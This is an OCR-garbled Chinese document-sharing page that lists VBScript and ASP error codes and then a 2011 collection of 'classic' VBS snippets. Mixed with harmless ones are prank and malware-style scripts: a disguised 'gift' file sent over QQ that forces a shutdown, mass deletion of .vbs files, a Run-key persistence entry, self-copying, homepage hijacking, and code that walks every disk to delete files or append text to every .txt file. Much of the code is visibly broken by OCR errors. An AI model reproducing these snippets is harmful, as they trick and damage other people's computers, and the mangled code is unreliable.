运行时错误(0x800A01CE)-->远程服务器不存在或不可用Microsoft VBScript 运行时错误(0x800A01E1)-->无效图片 Microsoft VBScript 运行时错误(0x800A01F4)-->变量未定义 Microsoft VBScript 运行时错误(0x800A01F5)-->非法赋值Microsoft VBScript 运行时错误(0x800A01F6)-->对象不能安全地使用Script 编程Microsoft VBScript 运行时错误(0x800A01F7)-->对象不能安全初始化Microsoft VBScript 运行时错误(0x800A01F8)-->对象不能安全创建Microsoft VBScript 运行时错误(0x800A01F9)-->无效的或无资格的引用 Microsoft VBScript 运行时错误(0x800A01FA)-->类没有被定义Microsoft VBScript 运行时错误(0x800A01FB)-->出现一个意外错误Microsoft VBScript 运行时错误(0x800A1398)-->缺少常规表达式对象 Microsoft VBScript 运行时错误(0x800A1399)-->常规表达式语法错误 Microsoft VBScript 运行时错误(0x800A139A)-->错误的数量词Microsoft VBScript 运行时错误(0x800A139B)-->常规表达式中缺少']' Microsoft VBScript 运行时错误(0x800A139C)-->常规表达式中缺少')' Microsoft VBScript 运行时错误(0x800A139D)-->字符集越界Microsoft VBScript 运行时错误(0x800A802B)-->未找到元素ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件Microsoft OLEDBProviderforODBCDrivers(0x80040E14)-->sql语句出错(字段名错误,或数据类型不匹配) Microsoft OLEDBProviderforODBCDrivers(0x80040E07)-->sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配) Microsoft OLEDBProviderforODBCDrivers(0x80040E57)-->sql语句出错(要插入或更新的数据溢出) Microsoft OLEDBProviderforODBCDrivers(0x80040E10)-->sql语句出错(update字段名或要更新的数据类型错误) Microsoft OLEDBProviderforODBCDrivers(0x80004005)-->sql语句出错(要插入或更新的字段的数值不能为空值) Microsoft OLEDBProviderforODBCDrivers(0x80004005)-->打开数据库出错，没有在指定目录发现数据库Microsoft OLEDBProviderforODBCDrivers(0x80040E37)-->没有发现表ODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表/字段错误或处于编辑状态，或不存在于conn打开的数据库中) ADODB.Recordset(0x800A0BB9)-->sql语句出错(sql语句或conn 语句未定义或对一个rs属性进行赋值时发生错误) ADODB.Recordset(0x800A0CC1)-->rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名) ADODB.Recordset(0x800A0BCD)-->rs对像出错(记录集中没有记录却对记录集进行操作) ADODB.Recordset(0x800A0E78)-->rs对像出错(记录集不存在,缺少rs.open语句) ADODB.Recordset(0x800A0CC1)-->rs对像出错(引用了一个不存在的字段名) ADODB.Recordset(0x800A0E7D)-->conn定义错误ADODB.Recordset(0x800A0CB3)-->数据库以只读方式打开，无法更新数据 ADODB.Recordset(0x800A000D)-->错误引用rs变量(rs对像已关闭或未定义)。

1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。

SetWshShell=WScript.CreateObject("WScript.Shell")strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strPorDir=WshShell.ExpandEnvironmentStrings("%ProgramFiles%")VBS获取C:'Program Files'Com mon Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strCommDir=WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%") 给桌面添加网址快捷方式SetWshShell=WScript.CreateObject("Wscript.Shell")strDesktop=WshShell.SpecialFolders("Desktop")百度.In k")oShellL in k.TargetPath二"http:oShellLink.Description二百度主页”给收藏夹添加网址ConstADMINISTRATIVE_TOOLS=6SetobjShell=CreateObject("Shell.Application")SetobjFolder=space(ADMINISTRATIVE_TOOLS)SetobjFolderItem=objFolder.SelfSetobjShell=WScript.CreateObject("WScript.Shell")strDesktopFld=objFolderItem.Path百度.url")objURLShortcut.TargetPath二"http:objURLShortcut.Save 删除指定目录指定后缀文件OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile"C:\*.vbs",TrueSetfso=NothingVBS改主页SetoShell=CreateObject("WScript.Shell")Explorer\Main\StartPage","http:VBS加启动项SetoShell=CreateObject("Wscript.Shell") oShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"VBS 复制自己到 C 盘DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile("game.exe").copy("c:\cik.exe")VBS获取系统临时目录DimfsoSetfso=CreateObject("Scripting.FileSystemObject") DimtempfolderConstTemporaryFolder=2Settempfolder=fso.GetSpecialFolder(TemporaryFolder) Wscript.Echotempfolder就算代码出错依然继续执行OnErrorResumeNextVBS打开网址SetobjShell=CreateObject("Wscript.Shell")objShell.Run("http:VBS发送邮件NameSpace="http:SetEmail=CreateObject("CDO.Message")Email.Subject二'这里写标题”Email.Textbody二'这里写内容!"Email.AddAttachment"C:这是附件.txt"WithEmail.Configuration.Fields .Item(NameSpace&"sendusing")=2.Item(NameSpace&"smtpserverport")=25 .Item(NameSpace&"smtpauthenticate")=1 」tem(NameSpace&”sendusername”)二'发件人用户名” 」tem(NameSpace&”sendpassword”)二发件人密码” .UpdateEndWithEmail.SendVBS结束进程strComputer="."SetobjWMIService=GetObject_("winmgmts:\\"&strComputer&"\root\cimv2") SetcolProcessList=objWMIService.ExecQuery_("Select*fromWin32_ProcessWhereName='Rar.exe'")ForEachobjProcessincolProcessListobjProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)createObject("wscript.shell").run"starthttp:Setobjws=WScript.CreateObject("wscript.shell")objws.Run"""C:VBS遍历硬盘删除指定文件名OnErrorResumeNextDimfPathstrComputer="."SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIService.ExecQuery(" Select*fromWin32_ProcessWhereName='gangzi.exe'")ForEachobjProcessIncolProcessListobjProcess.Terminate()NextSetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2")SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_Directorywherename LIKE'%c:%'ornameLIKE'%d:%'ornameLIKE'%e:%'ornameLIKE'%f:%'ornameLIKE'%g:%'ornameLIKE'%h:%'ornameLIKE'%i:%'")SetobjFSO=CreateObject("Scripting.FileSystemObject")ForEachobjDirIncolDirsfPath=&"\cik.exe"'如果文件名是cik.exe 就删除objFSO.DeleteFile(fPath),TrueVBS获取网卡MAC地址Dimmc,moSetmc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")ForEachmoInmcIfmo.IPEnabled=TrueThenMsgBox"本机网卡MAC地址是:"&mo.MacAddressExitForEndIfNextVBS获取本机注册表主页地址Setreg=WScript.CreateObject("WScript.Shell")MsgBoxstartpageVBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")Co二vbCrLf&路过。